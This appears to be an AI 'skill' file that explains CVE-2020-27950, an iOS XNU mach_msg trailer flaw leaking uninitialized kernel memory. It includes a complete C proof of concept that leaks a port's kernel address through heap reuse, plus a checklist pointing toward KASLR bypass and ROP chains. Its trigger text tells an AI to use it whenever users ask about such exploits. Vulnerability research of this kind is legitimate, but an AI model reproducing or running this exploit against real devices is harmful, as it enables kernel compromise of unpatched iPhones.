Hacktricks-skills ios-cve-2020-27950-exploit
iOS kernel exploitation for CVE-2020-27950 (mach_msg trailer memory leak). Use this skill whenever the user mentions iOS kernel vulnerabilities, mach_msg exploitation, kernel memory leaks, CVE-2020-27950, or wants to understand/write PoCs for XNU kernel heap-based vulnerabilities. This skill covers the vulnerability mechanics, exploit development, and practical implementation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t/SKILL.MDCVE-2020-27950: mach_msg Trailer Memory Leak Exploitation
A comprehensive guide to understanding and exploiting CVE-2020-27950, a kernel memory leak vulnerability in iOS XNU's Mach message trailer handling.
Vulnerability Overview
The Core Issue
Every Mach message the kernel receives ends with a "trailer": a variable-length struct containing metadata (sequence numbers, sender token, audit token, context, access control data, labels). The vulnerability stems from:
- The kernel always reserves the largest possible trailer (
) in the message bufferMAX_TRAILER_SIZE - The kernel only initializes some fields of the trailer
- The kernel decides which trailer size to return based on user-controlled receive options
- Certain field initializations are conditionally skipped based on the trailer type requested
This creates a window where uninitialized memory (potentially containing sensitive kernel data) can leak to userland.
Key Structures
typedef struct { mach_msg_trailer_type_t msgh_trailer_type; mach_msg_trailer_size_t msgh_trailer_size; } mach_msg_trailer_t; typedef struct { mach_msg_trailer_type_t msgh_trailer_type; mach_msg_trailer_size_t msgh_trailer_size; mach_port_seqno_t msgh_seqno; security_token_t msgh_sender; audit_token_t msgh_audit; mach_port_context_t msgh_context; int msgh_ad; // ← UNINITIALIZED in certain cases msg_labels_t msgh_labels; } mach_msg_mac_trailer_t; #define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
The Vulnerable Code Path
When generating the trailer, only some fields are initialized:
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; trailer->msgh_audit = current_thread()->task->audit_token; trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; trailer->msgh_labels.sender = 0; // Note: msgh_ad is NOT initialized here
Later, in
ipc_kmsg_add_trailer(), the trailer size is calculated and additional fields may be filled:
if (!(option & MACH_RCV_TRAILER_MASK)) { return trailer->msgh_trailer_size; } trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { trailer->msgh_ad = 0; // ← Only initialized if option >= 7 } if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { trailer->msgh_labels.sender = 0; }
The Exploit Condition
The
option parameter is user-controlled. The trailer element constants are:
#define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_SEQNO 1 #define MACH_RCV_TRAILER_SENDER 2 #define MACH_RCV_TRAILER_AUDIT 3 #define MACH_RCV_TRAILER_CTX 4 #define MACH_RCV_TRAILER_AV 7 #define MACH_RCV_TRAILER_LABELS 8 #define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24))
The vulnerability: If you pass an
option value of 5 or 6:
- It passes the first
check (bits 24-27 are non-zero)if - It does NOT enter the
that initializesif
(requires >= 7)msgh_ad
remains uninitialized, potentially leaking stale kernel memorymsgh_ad
Exploitation Technique
Heap Reuse Strategy
The exploit uses a classic heap reuse pattern:
- Send a "big" message with many port descriptors → allocates a
chunk containing kernel pointerskalloc.1024 - Receive/discard it with zero buffer → frees the chunk, leaving kernel pointers as stale data
- Send a "small" message → reuses the same size class, but with fewer descriptors
- Receive with invalid trailer option (5) → trailer's
field overlaps with stale pointer datamsgh_ad - Adjust message size to control overlap offset and leak different bytes of the pointer
Why This Works
When you send a Mach message with port descriptors:
- Userland:
field contains an unsigned int (port name)name - Kernel:
field becomes anname
pointeripc_port* - The kernel stores these pointers in the
structureipc_kmsg_t - When freed, these pointers remain in the heap chunk as stale data
- When reused with a smaller message, the trailer can overlap this stale data
Complete Exploit Implementation
Kernel Address Leak PoC
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <mach/mach.h> #define LEAK_PORTS 50 #define MAX_TRAILER_SIZE 128 typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; } message_big_t; typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; } message_small_t; int main(int argc, char *argv[]) { mach_port_t port; // receive port mach_port_t sent_port; // port whose kernel address we leak // Create receive right with send right mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); // Create port to leak mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); printf("[*] Target port: 0x%x\n", sent_port); message_big_t *big_message = NULL; message_small_t *small_message = NULL; mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); big_message = malloc(big_size + MAX_TRAILER_SIZE); small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); // Prepare big message with 50 port descriptors memset(big_message, 0, big_size + MAX_TRAILER_SIZE); big_message->header.msgh_remote_port = port; big_message->header.msgh_size = big_size; big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; big_message->body.msgh_descriptor_count = LEAK_PORTS; for (int i = 0; i < LEAK_PORTS; i++) { big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; big_message->sent_ports[i].name = sent_port; } // Prepare small message with fewer descriptors memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); small_message->header.msgh_remote_port = port; small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; for (int i = 0; i < LEAK_PORTS - 10; i++) { small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; small_message->sent_ports[i].name = sent_port; } uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); mach_msg_mac_trailer_t *trailer; uintptr_t sent_port_address = 0; // ========== LEAK LOW 32 BITS ========== printf("[*] Sending big message (allocates kalloc.1024 with pointers)\n"); mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("[*] Discarding message (frees chunk, leaves stale pointers)\n"); mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); // Small message reuses the chunk, +4 shift for overlap small_message->header.msgh_size = small_size + sizeof(uint32_t); printf("[*] Sending small message (reuses chunk)\n"); mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("[*] Receiving with trailer option 5 (leaks msgh_ad)\n"); memset(buffer, 0, big_size + MAX_TRAILER_SIZE); mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); sent_port_address |= (uint32_t)trailer->msgh_ad; // ========== LEAK HIGH 32 BITS ========== printf("[*] Sending big message again\n"); mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("[*] Discarding again\n"); mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); // +8 total shift for high bytes small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; printf("[*] Sending small message with +8 shift\n"); mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("[*] Receiving with trailer option 5\n"); memset(buffer, 0, big_size + MAX_TRAILER_SIZE); mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; printf("[+] Port 0x%x has kernel address: 0x%lX\n", sent_port, sent_port_address); return 0; }
Exploit Development Checklist
When developing exploits for this vulnerability:
-
Verify the target is vulnerable
- Check iOS version (affected: iOS 13.x through early iOS 14.x)
- Confirm kernel hasn't patched the trailer initialization
-
Set up the heap state
- Use
size class (empirically reliable)kalloc.1024 - Send messages with enough port descriptors to fill the chunk
- Ensure predictable allocation patterns
- Use
-
Control the overlap
- Adjust
to shift where the trailer landsmsgh_size - Use +4 byte increments to leak different pointer bytes
- Account for alignment and padding
- Adjust
-
Handle the leak
- Use trailer option 5 or 6 (invalid but triggers max trailer)
- Parse the trailer correctly (64-bit vs 32-bit variants)
- Combine leaked bytes into full pointers
-
Use the leaked address
- Calculate kernel base (if KASLR is active)
- Use for further exploitation (ROP, gadget chains, etc.)
Common Pitfalls
| Issue | Solution |
|---|---|
| Leak returns garbage | Verify heap reuse is working; check message sizes |
| Crash on receive | Ensure buffer is large enough for max trailer |
| Inconsistent leaks | Add heap spraying; use more port descriptors |
| Wrong pointer bytes | Adjust offset; verify alignment |
References
Related Vulnerabilities
- CVE-2021-30807: IOMobileFrameBuffer OOB
- Other mach_msg trailer vulnerabilities in XNU
- iOS kernel heap exploitation techniques
Testing Notes
- This exploit requires a vulnerable iOS device or simulator
- Root access may be needed to verify kernel addresses
- Modern iOS versions have patched this vulnerability
- Use in educational/research contexts only